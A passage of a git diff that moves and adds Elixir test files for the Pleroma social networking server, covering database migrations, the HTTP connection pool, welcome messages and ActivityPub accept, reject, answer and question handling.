ConfigDB.get_by_params(%{group: :pleroma, key: :instance}) - - assert instance_config.value == [ - welcome_user_nickname: "jimm", - welcome_message: "Test message" - ] - end - - test "revert new settings to old when instance setting exists", %{migration: migration} do - insert(:config, group: :pleroma, key: :instance, value: [name: "Pleroma App"]) - - insert(:config, - group: :pleroma, - key: :welcome, - value: [ - direct_message: %{ - enabled: true, - message: "Test message", - sender_nickname: "jimm" - }, - email: %{ - enabled: false, - html: "Welcome to <%= instance_name %>", - sender: nil, - subject: "Welcome to <%= instance_name %>", - text: "Welcome to <%= instance_name %>" - } - ] - ) - - migration.down() - - refute ConfigDB.get_by_params(%{group: :pleroma, key: :welcome}) - instance_config = ConfigDB.get_by_params(%{group: :pleroma, key: :instance}) - - assert instance_config.value == [ - name: "Pleroma App", - welcome_user_nickname: "jimm", - welcome_message: "Test message" - ] - end - end -end diff --git a/test/migrations/20200802170532_fix_legacy_tags_test.exs b/test/migrations/20200802170532_fix_legacy_tags_test.exs deleted file mode 100644 index 432055e45..000000000 --- a/test/migrations/20200802170532_fix_legacy_tags_test.exs +++ /dev/null @@ -1,28 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Repo.Migrations.FixLegacyTagsTest do - alias Pleroma.User - use Pleroma.DataCase - import Pleroma.Factory - import Pleroma.Tests.Helpers - - setup_all do: require_migration("20200802170532_fix_legacy_tags") - - test "change/0 converts legacy user tags into correct values", %{migration: migration} do - user = insert(:user, tags: ["force_nsfw", "force_unlisted", "verified"]) - user2 = insert(:user) - - assert :ok == migration.change() - - fixed_user = User.get_by_id(user.id) - fixed_user2 = User.get_by_id(user2.id) - - assert fixed_user.tags == ["mrf_tag:media-force-nsfw", "mrf_tag:force-unlisted", "verified"] - assert fixed_user2.tags == [] - - # user2 should not have been updated - assert fixed_user2.updated_at == fixed_user2.inserted_at - end -end diff --git a/test/pleroma/gun/connection_pool_test.exs b/test/pleroma/gun/connection_pool_test.exs new file mode 100644 index 000000000..aea908fac --- /dev/null +++ b/test/pleroma/gun/connection_pool_test.exs @@ -0,0 +1,101 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Gun.ConnectionPoolTest do + use Pleroma.DataCase + + import Mox + import ExUnit.CaptureLog + alias Pleroma.Config + alias Pleroma.Gun.ConnectionPool + + defp gun_mock(_) do + Pleroma.GunMock + |> stub(:open, fn _, _, _ -> Task.start_link(fn -> Process.sleep(100) end) end) + |> stub(:await_up, fn _, _ -> {:ok, :http} end) + |> stub(:set_owner, fn _, _ -> :ok end) + + :ok + end + + setup :set_mox_from_context + setup :gun_mock + + test "gives the same connection to 2 concurrent requests" do + Enum.map( + [ + "http://www.korean-books.com.kp/KBMbooks/en/periodic/pictorial/20200530163914.pdf", + "http://www.korean-books.com.kp/KBMbooks/en/periodic/pictorial/20200528183427.pdf" + ], + fn uri -> + uri = URI.parse(uri) + task_parent = self() + + Task.start_link(fn -> + {:ok, conn} = ConnectionPool.get_conn(uri, []) + ConnectionPool.release_conn(conn) + send(task_parent, conn) + end) + end + ) + + [pid, pid] = + for _ <- 1..2 do + receive do + pid -> pid + end + end + end + + test "connection limit is respected with concurrent requests" do + clear_config([:connections_pool, :max_connections]) do + Config.put([:connections_pool, :max_connections], 1) + # The supervisor needs a reboot to apply the new config setting + Process.exit(Process.whereis(Pleroma.Gun.ConnectionPool.WorkerSupervisor), :kill) + + on_exit(fn -> + Process.exit(Process.whereis(Pleroma.Gun.ConnectionPool.WorkerSupervisor), :kill) + end) + end + + capture_log(fn -> + Enum.map( + [ + "https://ninenines.eu/", + "https://youtu.be/PFGwMiDJKNY" + ], + fn uri -> + uri = URI.parse(uri) + task_parent = self() + + Task.start_link(fn -> + result = ConnectionPool.get_conn(uri, []) + # Sleep so that we don't end up with a situation, + # where request from the second process gets processed + # only after the first process already released the connection + Process.sleep(50) + + case result do + {:ok, pid} -> + ConnectionPool.release_conn(pid) + + _ -> + nil + end + + send(task_parent, result) + end) + end + ) + + [{:error, :pool_full}, {:ok, _pid}] = + for _ <- 1..2 do + receive do + result -> result + end + end + |> Enum.sort() + end) + end +end diff --git a/test/pleroma/repo/migrations/autolinker_to_linkify_test.exs b/test/pleroma/repo/migrations/autolinker_to_linkify_test.exs new file mode 100644 index 000000000..84f520fe4 --- /dev/null +++ b/test/pleroma/repo/migrations/autolinker_to_linkify_test.exs @@ -0,0 +1,72 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Repo.Migrations.AutolinkerToLinkifyTest do + use Pleroma.DataCase + import Pleroma.Factory + import Pleroma.Tests.Helpers + alias Pleroma.ConfigDB + + setup do: clear_config(Pleroma.Formatter) + setup_all do: require_migration("20200716195806_autolinker_to_linkify") + + test "change/0 converts auto_linker opts for Pleroma.Formatter", %{migration: migration} do + autolinker_opts = [ + extra: true, + validate_tld: true, + class: false, + strip_prefix: false, + new_window: false, + rel: "testing" + ] + + insert(:config, group: :auto_linker, key: :opts, value: autolinker_opts) + + migration.change() + + assert nil == ConfigDB.get_by_params(%{group: :auto_linker, key: :opts}) + + %{value: new_opts} = ConfigDB.get_by_params(%{group: :pleroma, key: Pleroma.Formatter}) + + assert new_opts == [ + class: false, + extra: true, + new_window: false, + rel: "testing", + strip_prefix: false + ] + + Pleroma.Config.put(Pleroma.Formatter, new_opts) + assert new_opts == Pleroma.Config.get(Pleroma.Formatter) + + {text, _mentions, []} = + Pleroma.Formatter.linkify( + "https://www.businessinsider.com/walmart-will-close-stores-on-thanksgiving-ending-black-friday-tradition-2020-7\n\nOmg will COVID finally end Black Friday???" + ) + + assert text == + "<a href=\"https://www.businessinsider.com/walmart-will-close-stores-on-thanksgiving-ending-black-friday-tradition-2020-7\" rel=\"testing\">https://www.businessinsider.com/walmart-will-close-stores-on-thanksgiving-ending-black-friday-tradition-2020-7</a>\n\nOmg will COVID finally end Black Friday???" + end + + test "transform_opts/1 returns a list of compatible opts", %{migration: migration} do + old_opts = [ + extra: true, + validate_tld: true, + class: false, + strip_prefix: false, + new_window: false, + rel: "qqq" + ] + + expected_opts = [ + class: false, + extra: true, + new_window: false, + rel: "qqq", + strip_prefix: false + ] + + assert migration.transform_opts(old_opts) == expected_opts + end +end diff --git a/test/pleroma/repo/migrations/fix_legacy_tags_test.exs b/test/pleroma/repo/migrations/fix_legacy_tags_test.exs new file mode 100644 index 000000000..432055e45 --- /dev/null +++ b/test/pleroma/repo/migrations/fix_legacy_tags_test.exs @@ -0,0 +1,28 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Repo.Migrations.FixLegacyTagsTest do + alias Pleroma.User + use Pleroma.DataCase + import Pleroma.Factory + import Pleroma.Tests.Helpers + + setup_all do: require_migration("20200802170532_fix_legacy_tags") + + test "change/0 converts legacy user tags into correct values", %{migration: migration} do + user = insert(:user, tags: ["force_nsfw", "force_unlisted", "verified"]) + user2 = insert(:user) + + assert :ok == migration.change() + + fixed_user = User.get_by_id(user.id) + fixed_user2 = User.get_by_id(user2.id) + + assert fixed_user.tags == ["mrf_tag:media-force-nsfw", "mrf_tag:force-unlisted", "verified"] + assert fixed_user2.tags == [] + + # user2 should not have been updated + assert fixed_user2.updated_at == fixed_user2.inserted_at + end +end diff --git a/test/pleroma/repo/migrations/fix_malformed_formatter_config_test.exs b/test/pleroma/repo/migrations/fix_malformed_formatter_config_test.exs new file mode 100644 index 000000000..61528599a --- /dev/null +++ b/test/pleroma/repo/migrations/fix_malformed_formatter_config_test.exs @@ -0,0 +1,70 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Repo.Migrations.FixMalformedFormatterConfigTest do + use Pleroma.DataCase + import Pleroma.Factory + import Pleroma.Tests.Helpers + alias Pleroma.ConfigDB + + setup do: clear_config(Pleroma.Formatter) + setup_all do: require_migration("20200722185515_fix_malformed_formatter_config") + + test "change/0 converts a map into a list", %{migration: migration} do + incorrect_opts = %{ + class: false, + extra: true, + new_window: false, + rel: "F", + strip_prefix: false + } + + insert(:config, group: :pleroma, key: Pleroma.Formatter, value: incorrect_opts) + + assert :ok == migration.change() + + %{value: new_opts} = ConfigDB.get_by_params(%{group: :pleroma, key: Pleroma.Formatter}) + + assert new_opts == [ + class: false, + extra: true, + new_window: false, + rel: "F", + strip_prefix: false + ] + + Pleroma.Config.put(Pleroma.Formatter, new_opts) + assert new_opts == Pleroma.Config.get(Pleroma.Formatter) + + {text, _mentions, []} = + Pleroma.Formatter.linkify( + "https://www.businessinsider.com/walmart-will-close-stores-on-thanksgiving-ending-black-friday-tradition-2020-7\n\nOmg will COVID finally end Black Friday???" + ) + + assert text == + "<a href=\"https://www.businessinsider.com/walmart-will-close-stores-on-thanksgiving-ending-black-friday-tradition-2020-7\" rel=\"F\">https://www.businessinsider.com/walmart-will-close-stores-on-thanksgiving-ending-black-friday-tradition-2020-7</a>\n\nOmg will COVID finally end Black Friday???" + end + + test "change/0 skips if Pleroma.Formatter config is already a list", %{migration: migration} do + opts = [ + class: false, + extra: true, + new_window: false, + rel: "ugc", + strip_prefix: false + ] + + insert(:config, group: :pleroma, key: Pleroma.Formatter, value: opts) + + assert :skipped == migration.change() + + %{value: new_opts} = ConfigDB.get_by_params(%{group: :pleroma, key: Pleroma.Formatter}) + + assert new_opts == opts + end + + test "change/0 skips if Pleroma.Formatter is empty", %{migration: migration} do + assert :skipped == migration.change() + end +end diff --git a/test/pleroma/repo/migrations/move_welcome_settings_test.exs b/test/pleroma/repo/migrations/move_welcome_settings_test.exs new file mode 100644 index 000000000..53d05a55a --- /dev/null +++ b/test/pleroma/repo/migrations/move_welcome_settings_test.exs @@ -0,0 +1,144 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Repo.Migrations.MoveWelcomeSettingsTest do + use Pleroma.DataCase + import Pleroma.Factory + import Pleroma.Tests.Helpers + alias Pleroma.ConfigDB + + setup_all do: require_migration("20200724133313_move_welcome_settings") + + describe "up/0" do + test "converts welcome settings", %{migration: migration} do + insert(:config, + group: :pleroma, + key: :instance, + value: [ + welcome_message: "Test message", + welcome_user_nickname: "jimm", + name: "Pleroma" + ] + ) + + migration.up() + instance_config = ConfigDB.get_by_params(%{group: :pleroma, key: :instance}) + welcome_config = ConfigDB.get_by_params(%{group: :pleroma, key: :welcome}) + + assert instance_config.value == [name: "Pleroma"] + + assert welcome_config.value == [ + direct_message: %{ + enabled: true, + message: "Test message", + sender_nickname: "jimm" + }, + email: %{ + enabled: false, + html: "Welcome to <%= instance_name %>", + sender: nil, + subject: "Welcome to <%= instance_name %>", + text: "Welcome to <%= instance_name %>" + } + ] + end + + test "does nothing when message empty", %{migration: migration} do + insert(:config, + group: :pleroma, + key: :instance, + value: [ + welcome_message: "", + welcome_user_nickname: "jimm", + name: "Pleroma" + ] + ) + + migration.up() + instance_config = ConfigDB.get_by_params(%{group: :pleroma, key: :instance}) + refute ConfigDB.get_by_params(%{group: :pleroma, key: :welcome}) + assert instance_config.value == [name: "Pleroma"] + end + + test "does nothing when welcome_message not set", %{migration: migration} do + insert(:config, + group: :pleroma, + key: :instance, + value: [welcome_user_nickname: "jimm", name: "Pleroma"] + ) + + migration.up() + instance_config = ConfigDB.get_by_params(%{group: :pleroma, key: :instance}) + refute ConfigDB.get_by_params(%{group: :pleroma, key: :welcome}) + assert instance_config.value == [name: "Pleroma"] + end + end + + describe "down/0" do + test "revert new settings to old when instance setting not exists", %{migration: migration} do + insert(:config, + group: :pleroma, + key: :welcome, + value: [ + direct_message: %{ + enabled: true, + message: "Test message", + sender_nickname: "jimm" + }, + email: %{ + enabled: false, + html: "Welcome to <%= instance_name %>", + sender: nil, + subject: "Welcome to <%= instance_name %>", + text: "Welcome to <%= instance_name %>" + } + ] + ) + + migration.down() + + refute ConfigDB.get_by_params(%{group: :pleroma, key: :welcome}) + instance_config = ConfigDB.get_by_params(%{group: :pleroma, key: :instance}) + + assert instance_config.value == [ + welcome_user_nickname: "jimm", + welcome_message: "Test message" + ] + end + + test "revert new settings to old when instance setting exists", %{migration: migration} do + insert(:config, group: :pleroma, key: :instance, value: [name: "Pleroma App"]) + + insert(:config, + group: :pleroma, + key: :welcome, + value: [ + direct_message: %{ + enabled: true, + message: "Test message", + sender_nickname: "jimm" + }, + email: %{ + enabled: false, + html: "Welcome to <%= instance_name %>", + sender: nil, + subject: "Welcome to <%= instance_name %>", + text: "Welcome to <%= instance_name %>" + } + ] + ) + + migration.down() + + refute ConfigDB.get_by_params(%{group: :pleroma, key: :welcome}) + instance_config = ConfigDB.get_by_params(%{group: :pleroma, key: :instance}) + + assert instance_config.value == [ + name: "Pleroma App", + welcome_user_nickname: "jimm", + welcome_message: "Test message" + ] + end + end +end diff --git a/test/pleroma/report_note_test.exs b/test/pleroma/report_note_test.exs new file mode 100644 index 000000000..25c1d6a61 --- /dev/null +++ b/test/pleroma/report_note_test.exs @@ -0,0 +1,16 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.ReportNoteTest do + alias Pleroma.ReportNote + use Pleroma.DataCase + import Pleroma.Factory + + test "create/3" do + user = insert(:user) + report = insert(:report_activity) + assert {:ok, note} = ReportNote.create(user.id, report.id, "naughty boy") + assert note.content == "naughty boy" + end +end diff --git a/test/pleroma/user/welcome_chat_message_test.exs b/test/pleroma/user/welcome_chat_message_test.exs new file mode 100644 index 000000000..fe26d6e4d --- /dev/null +++ b/test/pleroma/user/welcome_chat_message_test.exs @@ -0,0 +1,35 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.User.WelcomeChatMessageTest do + use Pleroma.DataCase + + alias Pleroma.Config + alias Pleroma.User.WelcomeChatMessage + + import Pleroma.Factory + + setup do: clear_config([:welcome]) + + describe "post_message/1" do + test "send a chat welcome message" do + welcome_user = insert(:user, name: "mewmew") + user = insert(:user) + + Config.put([:welcome, :chat_message, :enabled], true) + Config.put([:welcome, :chat_message, :sender_nickname], welcome_user.nickname) + + Config.put( + [:welcome, :chat_message, :message], + "Hello, welcome to Blob/Cat!" + ) + + {:ok, %Pleroma.Activity{} = activity} = WelcomeChatMessage.post_message(user) + + assert user.ap_id in activity.recipients + assert Pleroma.Object.normalize(activity).data["type"] == "ChatMessage" + assert Pleroma.Object.normalize(activity).data["content"] == "Hello, welcome to Blob/Cat!" + end + end +end diff --git a/test/pleroma/user/welcome_email_test.exs b/test/pleroma/user/welcome_email_test.exs new file mode 100644 index 000000000..d005d11b2 --- /dev/null +++ b/test/pleroma/user/welcome_email_test.exs @@ -0,0 +1,61 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.User.WelcomeEmailTest do + use Pleroma.DataCase + + alias Pleroma.Config + alias Pleroma.Tests.ObanHelpers + alias Pleroma.User.WelcomeEmail + + import Pleroma.Factory + import Swoosh.TestAssertions + + setup do: clear_config([:welcome]) + + describe "send_email/1" do + test "send a welcome email" do + user = insert(:user, name: "Jimm") + + Config.put([:welcome, :email, :enabled], true) + Config.put([:welcome, :email, :sender], "welcome@pleroma.app") + + Config.put( + [:welcome, :email, :subject], + "Hello, welcome to pleroma: <%= instance_name %>" + ) + + Config.put( + [:welcome, :email, :html], + "<h1>Hello <%= user.name %>.</h1> <p>Welcome to <%= instance_name %></p>" + ) + + instance_name = Config.get([:instance, :name]) + + {:ok, _job} = WelcomeEmail.send_email(user) + + ObanHelpers.perform_all() + + assert_email_sent( + from: {instance_name, "welcome@pleroma.app"}, + to: {user.name, user.email}, + subject: "Hello, welcome to pleroma: #{instance_name}", + html_body: "<h1>Hello #{user.name}.</h1> <p>Welcome to #{instance_name}</p>" + ) + + Config.put([:welcome, :email, :sender], {"Pleroma App", "welcome@pleroma.app"}) + + {:ok, _job} = WelcomeEmail.send_email(user) + + ObanHelpers.perform_all() + + assert_email_sent( + from: {"Pleroma App", "welcome@pleroma.app"}, + to: {user.name, user.email}, + subject: "Hello, welcome to pleroma: #{instance_name}", + html_body: "<h1>Hello #{user.name}.</h1> <p>Welcome to #{instance_name}</p>" + ) + end + end +end diff --git a/test/pleroma/user/welcome_message_test.exs b/test/pleroma/user/welcome_message_test.exs new file mode 100644 index 000000000..3cd6f5cb7 --- /dev/null +++ b/test/pleroma/user/welcome_message_test.exs @@ -0,0 +1,34 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.User.WelcomeMessageTest do + use Pleroma.DataCase + + alias Pleroma.Config + alias Pleroma.User.WelcomeMessage + + import Pleroma.Factory + + setup do: clear_config([:welcome]) + + describe "post_message/1" do + test "send a direct welcome message" do + welcome_user = insert(:user) + user = insert(:user, name: "Jimm") + + Config.put([:welcome, :direct_message, :enabled], true) + Config.put([:welcome, :direct_message, :sender_nickname], welcome_user.nickname) + + Config.put( + [:welcome, :direct_message, :message], + "Hello. Welcome to Pleroma" + ) + + {:ok, %Pleroma.Activity{} = activity} = WelcomeMessage.post_message(user) + assert user.ap_id in activity.recipients + assert activity.data["directMessage"] == true + assert Pleroma.Object.normalize(activity).data["content"] =~ "Hello. Welcome to Pleroma" + end + end +end diff --git a/test/pleroma/web/activity_pub/object_validators/accept_validation_test.exs b/test/pleroma/web/activity_pub/object_validators/accept_validation_test.exs new file mode 100644 index 000000000..d6111ba41 --- /dev/null +++ b/test/pleroma/web/activity_pub/object_validators/accept_validation_test.exs @@ -0,0 +1,56 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.ObjectValidators.AcceptValidationTest do + use Pleroma.DataCase + + alias Pleroma.Web.ActivityPub.Builder + alias Pleroma.Web.ActivityPub.ObjectValidator + alias Pleroma.Web.ActivityPub.Pipeline + + import Pleroma.Factory + + setup do + follower = insert(:user) + followed = insert(:user, local: false) + + {:ok, follow_data, _} = Builder.follow(follower, followed) + {:ok, follow_activity, _} = Pipeline.common_pipeline(follow_data, local: true) + + {:ok, accept_data, _} = Builder.accept(followed, follow_activity) + + %{accept_data: accept_data, followed: followed} + end + + test "it validates a basic 'accept'", %{accept_data: accept_data} do + assert {:ok, _, _} = ObjectValidator.validate(accept_data, []) + end + + test "it fails when the actor doesn't exist", %{accept_data: accept_data} do + accept_data = + accept_data + |> Map.put("actor", "https://gensokyo.2hu/users/raymoo") + + assert {:error, _} = ObjectValidator.validate(accept_data, []) + end + + test "it fails when the accepted activity doesn't exist", %{accept_data: accept_data} do + accept_data = + accept_data + |> Map.put("object", "https://gensokyo.2hu/users/raymoo/follows/1") + + assert {:error, _} = ObjectValidator.validate(accept_data, []) + end + + test "for an accepted follow, it only validates if the actor of the accept is the followed actor", + %{accept_data: accept_data} do + stranger = insert(:user) + + accept_data = + accept_data + |> Map.put("actor", stranger.ap_id) + + assert {:error, _} = ObjectValidator.validate(accept_data, []) + end +end diff --git a/test/pleroma/web/activity_pub/object_validators/reject_validation_test.exs b/test/pleroma/web/activity_pub/object_validators/reject_validation_test.exs new file mode 100644 index 000000000..370bb6e5c --- /dev/null +++ b/test/pleroma/web/activity_pub/object_validators/reject_validation_test.exs @@ -0,0 +1,56 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.ObjectValidators.RejectValidationTest do + use Pleroma.DataCase + + alias Pleroma.Web.ActivityPub.Builder + alias Pleroma.Web.ActivityPub.ObjectValidator + alias Pleroma.Web.ActivityPub.Pipeline + + import Pleroma.Factory + + setup do + follower = insert(:user) + followed = insert(:user, local: false) + + {:ok, follow_data, _} = Builder.follow(follower, followed) + {:ok, follow_activity, _} = Pipeline.common_pipeline(follow_data, local: true) + + {:ok, reject_data, _} = Builder.reject(followed, follow_activity) + + %{reject_data: reject_data, followed: followed} + end + + test "it validates a basic 'reject'", %{reject_data: reject_data} do + assert {:ok, _, _} = ObjectValidator.validate(reject_data, []) + end + + test "it fails when the actor doesn't exist", %{reject_data: reject_data} do + reject_data = + reject_data + |> Map.put("actor", "https://gensokyo.2hu/users/raymoo") + + assert {:error, _} = ObjectValidator.validate(reject_data, []) + end + + test "it fails when the rejected activity doesn't exist", %{reject_data: reject_data} do + reject_data = + reject_data + |> Map.put("object", "https://gensokyo.2hu/users/raymoo/follows/1") + + assert {:error, _} = ObjectValidator.validate(reject_data, []) + end + + test "for an rejected follow, it only validates if the actor of the reject is the followed actor", + %{reject_data: reject_data} do + stranger = insert(:user) + + reject_data = + reject_data + |> Map.put("actor", stranger.ap_id) + + assert {:error, _} = ObjectValidator.validate(reject_data, []) + end +end diff --git a/test/pleroma/web/activity_pub/transmogrifier/accept_handling_test.exs b/test/pleroma/web/activity_pub/transmogrifier/accept_handling_test.exs new file mode 100644 index 000000000..77d468f5c --- /dev/null +++ b/test/pleroma/web/activity_pub/transmogrifier/accept_handling_test.exs @@ -0,0 +1,91 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.Transmogrifier.AcceptHandlingTest do + use Pleroma.DataCase + + alias Pleroma.User + alias Pleroma.Web.ActivityPub.Transmogrifier + alias Pleroma.Web.CommonAPI + + import Pleroma.Factory + + test "it works for incoming accepts which were pre-accepted" do + follower = insert(:user) + followed = insert(:user) + + {:ok, follower} = User.follow(follower, followed) + assert User.following?(follower, followed) == true + + {:ok, _, _, follow_activity} = CommonAPI.follow(follower, followed) + + accept_data = + File.read!("test/fixtures/mastodon-accept-activity.json") + |> Poison.decode!() + |> Map.put("actor", followed.ap_id) + + object = + accept_data["object"] + |> Map.put("actor", follower.ap_id) + |> Map.put("id", follow_activity.data["id"]) + + accept_data = Map.put(accept_data, "object", object) + + {:ok, activity} = Transmogrifier.handle_incoming(accept_data) + refute activity.local + + assert activity.data["object"] == follow_activity.data["id"] + + assert activity.data["id"] == accept_data["id"] + + follower = User.get_cached_by_id(follower.id) + + assert User.following?(follower, followed) == true + end + + test "it works for incoming accepts which are referenced by IRI only" do + follower = insert(:user) + followed = insert(:user, locked: true) + + {:ok, _, _, follow_activity} = CommonAPI.follow(follower, followed) + + accept_data = + File.read!("test/fixtures/mastodon-accept-activity.json") + |> Poison.decode!() + |> Map.put("actor", followed.ap_id) + |> Map.put("object", follow_activity.data["id"]) + + {:ok, activity} = Transmogrifier.handle_incoming(accept_data) + assert activity.data["object"] == follow_activity.data["id"] + + follower = User.get_cached_by_id(follower.id) + + assert User.following?(follower, followed) == true + + follower = User.get_by_id(follower.id) + assert follower.following_count == 1 + + followed = User.get_by_id(followed.id) + assert followed.follower_count == 1 + end + + test "it fails for incoming accepts which cannot be correlated" do + follower = insert(:user) + followed = insert(:user, locked: true) + + accept_data = + File.read!("test/fixtures/mastodon-accept-activity.json") + |> Poison.decode!() + |> Map.put("actor", followed.ap_id) + + accept_data = + Map.put(accept_data, "object", Map.put(accept_data["object"], "actor", follower.ap_id)) + + {:error, _} = Transmogrifier.handle_incoming(accept_data) + + follower = User.get_cached_by_id(follower.id) + + refute User.following?(follower, followed) == true + end +end diff --git a/test/pleroma/web/activity_pub/transmogrifier/answer_handling_test.exs b/test/pleroma/web/activity_pub/transmogrifier/answer_handling_test.exs new file mode 100644 index 000000000..0f6605c3f --- /dev/null +++ b/test/pleroma/web/activity_pub/transmogrifier/answer_handling_test.exs @@ -0,0 +1,78 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.Transmogrifier.AnswerHandlingTest do + use Pleroma.DataCase + + alias Pleroma.Activity + alias Pleroma.Object + alias Pleroma.Web.ActivityPub.Transmogrifier + alias Pleroma.Web.CommonAPI + + import Pleroma.Factory + + setup_all do + Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) + :ok + end + + test "incoming, rewrites Note to Answer and increments vote counters" do + user = insert(:user) + + {:ok, activity} = + CommonAPI.post(user, %{ + status: "suya...", + poll: %{options: ["suya", "suya.", "suya.."], expires_in: 10} + }) + + object = Object.normalize(activity) + + data = + File.read!("test/fixtures/mastodon-vote.json") + |> Poison.decode!() + |> Kernel.put_in(["to"], user.ap_id) + |> Kernel.put_in(["object", "inReplyTo"], object.data["id"]) + |> Kernel.put_in(["object", "to"], user.ap_id) + + {:ok, %Activity{local: false} = activity} = Transmogrifier.handle_incoming(data) + answer_object = Object.normalize(activity) + assert answer_object.data["type"] == "Answer" + assert answer_object.data["inReplyTo"] == object.data["id"] + + new_object = Object.get_by_ap_id(object.data["id"]) + assert new_object.data["replies_count"] == object.data["replies_count"] + + assert Enum.any?( + new_object.data["oneOf"], + fn + %{"name" => "suya..", "replies" => %{"totalItems" => 1}} -> true + _ -> false + end + ) + end + + test "outgoing, rewrites Answer to Note" do + user = insert(:user) + + {:ok, poll_activity} = + CommonAPI.post(user, %{ + status: "suya...", + poll: %{options: ["suya", "suya.", "suya.."], expires_in: 10} + }) + + poll_object = Object.normalize(poll_activity) + # TODO: Replace with CommonAPI vote creation when implemented + data = + File.read!("test/fixtures/mastodon-vote.json") + |> Poison.decode!() + |> Kernel.put_in(["to"], user.ap_id) + |> Kernel.put_in(["object", "inReplyTo"], poll_object.data["id"]) + |> Kernel.put_in(["object", "to"], user.ap_id) + + {:ok, %Activity{local: false} = activity} = Transmogrifier.handle_incoming(data) + {:ok, data} = Transmogrifier.prepare_outgoing(activity.data) + + assert data["object"]["type"] == "Note" + end +end diff --git a/test/pleroma/web/activity_pub/transmogrifier/question_handling_test.exs b/test/pleroma/web/activity_pub/transmogrifier/question_handling_test.exs new file mode 100644 index 000000000..d2822ce75 --- /dev/null +++ b/test/pleroma/web/activity_pub/transmogrifier/question_handling_test.exs @@ -0,0 +1,176 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.Transmogrifier.QuestionHandlingTest do + use Pleroma.DataCase + + alias Pleroma.Activity + alias Pleroma.Object + alias Pleroma.Web.ActivityPub.Transmogrifier + alias Pleroma.Web.CommonAPI + + import Pleroma.Factory + + setup_all do + Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) + :ok + end + + test "Mastodon Question activity" do + data = File.read!("test/fixtures/mastodon-question-activity.json") |> Poison.decode!() + + {:ok, %Activity{local: false} = activity} = Transmogrifier.handle_incoming(data) + + object = Object.normalize(activity, false) + + assert object.data["url"] == "https://mastodon.sdf.org/@rinpatch/102070944809637304" + + assert object.data["closed"] == "2019-05-11T09:03:36Z" + + assert object.data["context"] == activity.data["context"] + + assert object.data["context"] == + "tag:mastodon.sdf.org,2019-05-10:objectId=15095122:objectType=Conversation" + + assert object.data["context_id"] + + assert object.data["anyOf"] == [] + + assert Enum.sort(object.data["oneOf"]) == + Enum.sort([ + %{ + "name" => "25 char limit is dumb", + "replies" => %{"totalItems" => 0, "type" => "Collection"}, + "type" => "Note" + }, + %{ + "name" => "Dunno", + "replies" => %{"totalItems" => 0, "type" => "Collection"}, + "type" => "Note" + }, + %{ + "name" => "Everyone knows that!", + "replies" => %{"totalItems" => 1, "type" => "Collection"}, + "type" => "Note" + }, + %{ + "name" => "I can't even fit a funny", + "replies" => %{"totalItems" => 1, "type" => "Collection"}, + "type" => "Note" + } + ]) + + user = insert(:user) + + {:ok, reply_activity} = CommonAPI.post(user, %{status: "hewwo", in_reply_to_id: activity.id}) + + reply_object = Object.normalize(reply_activity, false) + + assert reply_object.data["context"] == object.data["context"] + assert reply_object.data["context_id"] == object.data["context_id"] + end + + test "Mastodon Question activity with HTML tags in plaintext" do + options = [ + %{ + "type" => "Note", + "name" => "<input type=\"date\">", + "replies" => %{"totalItems" => 0, "type" => "Collection"} + }, + %{ + "type" => "Note", + "name" => "<input type=\"date\"/>", + "replies" => %{"totalItems" => 0, "type" => "Collection"} + }, + %{ + "type" => "Note", + "name" => "<input type=\"date\" />", + "replies" => %{"totalItems" => 1, "type" => "Collection"} + }, + %{ + "type" => "Note", + "name" => "<input type=\"date\"></input>", + "replies" => %{"totalItems" => 1, "type" => "Collection"} + } + ] + + data = + File.read!("test/fixtures/mastodon-question-activity.json") + |> Poison.decode!() + |> Kernel.put_in(["object", "oneOf"], options) + + {:ok, %Activity{local: false} = activity} = Transmogrifier.handle_incoming(data) + object = Object.normalize(activity, false) + + assert Enum.sort(object.data["oneOf"]) == Enum.sort(options) + end + + test "Mastodon Question activity with custom emojis" do + options = [ + %{ + "type" => "Note", + "name" => 